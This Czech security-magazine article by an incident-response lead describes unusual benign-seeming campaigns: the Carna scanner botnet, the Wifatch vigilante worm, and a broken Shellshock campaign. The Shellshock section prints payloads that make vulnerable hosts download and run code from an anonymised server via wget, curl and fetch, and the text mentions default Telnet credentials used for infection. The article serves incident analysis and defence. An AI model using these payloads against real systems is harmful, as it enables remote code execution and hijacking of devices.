Netradiční kybernetické útoky

Jan Kopřiva

Kybernetické útoky jsou v současnosti pro většinu organizací s rozsáhlejší IT infrastrukturou na denním pořádku. Bez nadsázky je dokonce možné říci, že pokud některá organizace provozuje k internetu připojený webový server a není si žádných útoků vědoma, je to proto, že dostatečně nezkoumá provoz, který na daný server teče. Kromě tradičních útoků se ale občas můžeme setkat také s bezpečnostními incidenty způsobenými malwarem, který úplně nesplňuje definici škodlivého kódu. Ačkoliv používá nepovolené techniky k proniknutí do zařízení, tak nezpůsobuje žádnou škodu nebo je dokonce konstruován s cílem pomáhat. Tento „bílý" malware je sice poměrně vzácný a bez dalších následků, ani to ale není důvod k tomu, abyste si ho pouštěli k tělu.

Ctrl-C, Ctrl-V útoky

Ať už je cílem síťových útoků ovládnutí zařízení nebo jejich infikace škodlivým kódem, většina z nich, pomineme-li volumetrické DoS útoky, je založená na pokusu o využití delší dobu známých zranitelností. A co je alarmující, v některých případech i několik let známých zranitelností. Byť za útoky tohoto typu stojí velké množství útočníků – jednotlivců i skupin – využívajících mnoho různých botnetů, jen velmi zřídka lze najít útok, který by byl nějakým způsobem výjimečný. Při útočných kampaních jsou zpravidla užívány stejné postupy využití zranitelností i stejné nebo velmi podobné druhy škodlivého kódu. Z pohledu obránce jsou tak jednotlivé kampaně mnohdy téměř nerozeznatelné.

Čas od času je však možné setkat se s útočnou kampaní, která vyčnívá z onoho šedého průměru. Většinou jde o sofistikované APT hrozby, které jsou schopny napáchat na cílových systémech citelné škody. Není tomu tak ale vždy. Byť se jedná spíše o výjimku, občas se objeví kampaň, která je zvláštní tím, že se nachází na pomyslném druhém konci spektra nebezpečnosti od tradičních útoků. Ať už jde na straně tvůrců v případě konkrétních kampaní o chybu nebo záměr, neprovádějí jejich „útoky" na cílových strojích žádné škodlivé akce. V některých případech dokonce způsobují změny, které vedou k jejich lepšímu zabezpečení.

Carna

Jedna taková netradiční „útočná" kampaň, je známá pod jménem Carna, nebo také Internet Census 2012. V rámci této kampaně se anonymní autor rozhodl skenovat celý IPv4 adresní rozsah a získat tak data o využitých IP adresách a na nich dostupných zařízeních. Skeny měly být primárně prováděny pomocí ICMP echo požadavků a TCP SYN a ACK paketů zasílaných na určité předem zvolené porty. Vzhledem k velikosti cílového prostoru (cca 4,3 miliardy adres) se zmíněný neznámý autor rozhodl pro skenování sestavit masivní distribuovaný síťový skener. Tento botnet byl tvořen nezabezpečenými zařízeními připojenými k internetu (zařízeními s otevřeným TCP portem 23 a umožňujícím vzdálený login pomocí Telnetu).

Za účelem sestavení botnetu vytvořil autor pro několik platforem aplikaci s obdobnou funkcí. Primárním cílem byly stroje s různými variantami operačního systému Linux, nicméně záměrem bylo využít pro skenování i jednodušší zařízení. Vytvořený „malware" byl následně systematicky nahráván na cílová zařízení. Bot se po odhalení potenciální nové hostitelské platformy pokusil k ní přihlásit s využitím několika málo jednoduchých přihlašovacích jmen a hesel (admin:admin, root:root, apod.). V případě úspěchu nahrál aplikaci distribuovaného skeneru do paměti zařízení a následně ji spustil. Tímto způsobem se botnet, označený svým autorem Carna, velmi úspěšně rozrostl a v době vlastní realizace skenů v průběhu roku 2012 jej tvořilo přibližně 420 tisíc zařízení.

Neštěká a nekouše

Záměrem tvůrce uvedeného botnetu bylo využít otevřená zařízení pouze pro účely skenování a pokusit se při tom nijak neomezovat jejich běžnou funkci. Aplikace distribuovaného skeneru tak na cílových strojích byla spouštěna s minimální prioritou a skeny byly prováděny rychlostí, která na výpočetní zdroje zařízení ani datovou linku nekladla větší nároky. Dezinfekce nakažených strojů byla navíc velmi jednoduchá – aplikace se nacházela pouze v operační paměti a pro její odstranění tak stačilo nakažené zařízení restartovat.

S ohledem na záměr tvůrce distribuovaného skeneru je zřejmé, že pro samotné skenování na infikovaných zařízeních zpravidla nebylo nutné jakkoli zasahovat do konfigurace. V podstatě jedinou výjimkou, kdy aplikace Carna do konfigurace zasahovala, byl případ, kdy byla na zařízení nově připojeném do botnetu nelezena předchozí infekce malwarem Aidra. Ten sdružoval nakažená zařízení do vlastního botnetu a následně z nich spouštěl DDoS útoky. Při odhalení jmenované infekce vypnula Carna na zařízení přístup pomocí Telnetu a provedla několik dalších drobných konfiguračních změn, v důsledku čehož bylo zamezeno dalšímu využití zařízení botnetem Aidra. Pro úplnost je vhodné zmínit, že v současnosti existuje malware známý jako New Aidra, který má určitou vazbu na původní výše jmenovaný malware a rovněž na červ Mirai.

Přestože popsaná kampaň využívala bez vědomí vlastníků zařízení jejich výpočetní zdroje a připojení k internetu a nachází se tak minimálně v pomyslné etické šedé zóně, je nutné konstatovat, že rozhodně nezapadá do kategorie tradiční útočné internetové kampaně. A to zejména s ohledem na její minimální negativní dopady, skutečnost, že na některých zařízeních prováděla hardening a na unikátní a volně publikovaný výstup z celého skenu (viz https://internetcensus2012.bitbucket.io/paper.html).

Wifatch

Do kolonky tradičních útoků nezapadá ani další kampaň, která zaslouží alespoň krátkou zmínku. Ke konci roku 2014 se začaly v odborných médiích objevovat první zmínky o malwaru Linux.Wifatch: Infikoval routery a další „chytrá" zařízení postavená na platformě Linux a sdružoval je do P2P botnetu, jehož prostřednictvím následně probíhala distribuce updatů. Kód červu Wifatch, známého také jako Reincarna, byl vytvořen v jazyce Perl a byl poměrně sofistikovaný. A to přesto, že pro infekci zařízení používal převážně obdobou jednoduchou techniku, jako výše uvedený skener Carna (tedy připojení pomocí Telnetu a prolomení slabého/defaultního hesla). Ke konci roku 2015 bylo do botnetu Wifatch dle dostupných dat připojeno několik desítek tisíc zařízení.

Léčivý malware

Až do této fáze chování červu plně odpovídá tradičnímu malwaru, který cílí na k internetu připojená zařízení. Kde se však Wifatch lišil od převážné většiny jiných červů, byla absence jakéhokoli škodlivého payloadu (tedy neseného kódu, který by prováděl jakoukoli škodlivou akci). Naopak, nesené rutiny způsobovaly na nakaženém zařízení pozitivní změny – odstraňovaly z něj případnou jinou existující infekci a blokovaly možnost přístupu k zařízení pomocí Telnetu (vzhledem k tomu, že uvedený přístup byl v důsledku úspěšného rozšíření Wifatch na zařízení prokazatelně nezabezpečený). Při pokusu o připojení k zařízení navíc zobrazovaly uživateli zprávu o zablokování přístupu přes Telnet pro zabránění další infekce a doporučovaly provedení změny hesla a updatu firmwaru daného zařízení.

Poté, co se malwaru dostalo většího zájmu ze strany odborné veřejnosti, publikovali autoři Wifatch zdrojový kód červu spolu s vysvětlením motivace, která za infekcemi nechráněných zařízení stála (viz https://gitlab.com/rav7teif/linux.wifatch). Dle vyjádření svých tvůrců byl červ vytvořen se záměrem zvýšit bezpečnost nakažených zařízení. Pro úplnost je vhodné uvést, že autoři Wifatch se dle vlastních slov nechali inspirovat již zmíněným botnetem Carna – zde má kořeny i alternativní označení červu (Reincarna).

Stejně jako v případě Carna, i kampaň šířící Wifatch se nachází v eticky minimálně problematické oblasti – bezpochyby se nejednalo o čistě pozitivní akci, rozhodně však ani nezapadá mezi klasické kybernetické útoky, které svému cíli škodí. Mezi tradiční škodlivé útoky nezapadá ani ten následující, byť z jiného důvodu, než je tomu u obou kampaní popsaných výše.

Shellshock

Shellshock nebo také BashDoor, je soubor zranitelností v shellu Bash, zveřejněný 12. září 2014 a dodnes je možné setkat se na internetu s útoky, které jej využívají. Provedení útoku s využitím Shellshocku je totiž velmi jednoduché. Na cíl stačí zaslat určitou sekvenci znaků, následovanou spustitelným kódem, a v případě, že cíl je zranitelný, ke spuštění zaslaného kódu automaticky dojde. Například zaslání následujícího kódu by na zranitelném stroji způsobilo stažení aplikace z IP adresy x.x.x.x a následně její spuštění.

```
() { :;}; /bin/bash -c \"cd /tmp;wget http://
x.x.x.x/aplikace; perl /tmp/aplikace"
```

Většina útočných kampaní, které Shellshock využívaly, cílila na webové servery a fungovala na stejném velmi jednoduchém principu, jaký využívá výše uvedená ukázka, tedy obsahovaly kód, který způsoboval stažení a spuštění škodlivé aplikace. Na cílový stroj byl při těchto útocích většinou kód zasílán v HTTP požadavku v poli User-Agent. Výjimkou z této tradiční strategie nebyla ani kampaň YOUR_URL_HERE, která probíhala od 23. 7. 2016 do 4. 8. 2016.

Pro tuto kampaň útočníci použili relativně malý botnet, tvořený několika desítkami až stovkami zombií z celého světa (alespoň soudě dle detekovaných IP adres útočících strojů), a jejich cíle byly geograficky různorodé. V čem se uvedená kampaň lišila od většiny ostatních, byl zasílaný odkaz pro stažení aplikace z útočníkova serveru, a to ve dvou ohledech.

Chyba nebo originální promo

Tradičně útočníci užívají v rámci jedné Shellshockové kampaně URL obsahující doménová jména, nebo větší množství relativně rychle se měnících IP adres, z nichž mají cílové stroje možnost škodlivou aplikaci stáhnout. V případě vyřazení jedné IP adresy tak nikdy nedojde k zastavení celé útočné kampaně. Po celou dobu trvání diskutované kampaně však převážná většina požadavků odkazovala na jedinou IP adresu, resp. jediné URL. Dalším specifikem kampaně YOUR_URL_HERE byla skutečnost, že na cílových strojích neprováděla žádné škodlivé akce. Na rozdíl od výše popsaných červů Carna a Wifatch však v případě tohoto útoku téměř jistě nešlo o nevinný záměr jeho tvůrců. Důvod pro benignost této kampaně (i pro označení YOUR_URL_HERE, které jsme pro ni použili), je zřejmý z níže uvedené ukázky reálného útoku. Jedinými provedenými změnami v ukázce byly úprava formátování pro lepší čitelnost a anonymizace (x.x.x.x) IP adresy serveru.

```
User-Agent: () { :;};/usr/bin/perl -e
.print „Content-Type: text/plain\r\n\r\
nXSUCCESS!";
system(„
wget http://x.x.x.x/YOUR_URL_HERE ;
curl -O http://x.x.x.x/YOUR_URL_HERE ;
fetch http://x.x.x.x/YOUR_URL_HERE
„);'\r\n
```

URL končící textem /YOUR_URL_HERE je na první pohled přinejmenším podivná a zřejmě nikoho nepřekvapí, že v době, kdy byla kampaň aktivní, neodkazovala nejen na žádný spustitelný kód ale ani jiný dokument. Na cílových strojích tak popsaný útok nezpůsoboval žádné škody bez ohledu na to, zda byly či nebyly zranitelné.

S přihlédnutím k URL, obsaženém v zasílaných požadavcích, se jako vysoce pravděpodobný důvod nefunkčnosti útoku nabízí možnost, že autor kampaně neměl mnoho zkušeností s programováním a použil pro její implementaci ukázkový kód. V něm pak nevhodně upravil část odkazující na cílové URL. Jak vyplynulo z pozdější analýzy, některé stroje zapojené do kampaně YOUR_URL_HERE se ve stejné době podílely na jiných útocích. Vzhledem k tomu je tak rovněž možné (byť podstatně méně pravděpodobné), že se jednalo pouze o velmi originální marketingovou kampaň ve smyslu šíření zprávy „I have a botnet for rent – Your URL could be here!".

„Bílých" útoků je minimum

Předložený text nepostihuje zdaleka všechny útoky bez negativních dopadů, k nimž na internetu docházelo a dochází. Další zmínku by zasloužila například kampaň aktuální v době psaní tohoto článku, v rámci níž anonymní skupina či jednotlivec proniká do databází Apache Cassandra, které jsou přístupné online, a zanechává v nich zprávu informující jejich administrátory, že dané databáze jsou nezabezpečené. Jako ukázka toho, že takové útoky se vyskytují, by tento článek nicméně měl být postačující. A byť ve většině případů bývá neškodnost některých útočných kampaní způsobená nezáměrnou chybou jejich tvůrců a jen minimum z nich je spouštěno s dobrým úmyslem, je dobré si uvědomovat, že i takové kampaně se čas od času objeví. ■

Jan Kopřiva

Autor článku působí ve společnosti Alef Nula, kde vede tým pro řešení kybernetických bezpečnostních incidentů ALEF CSIRT. Je autorem řady článků věnujících se problematice IT a bezpečnosti a pravidelně přednáší na odborných konferencích. Bezpečnost informačních a telekomunikačních technologií vystudoval na ČVUT v Praze.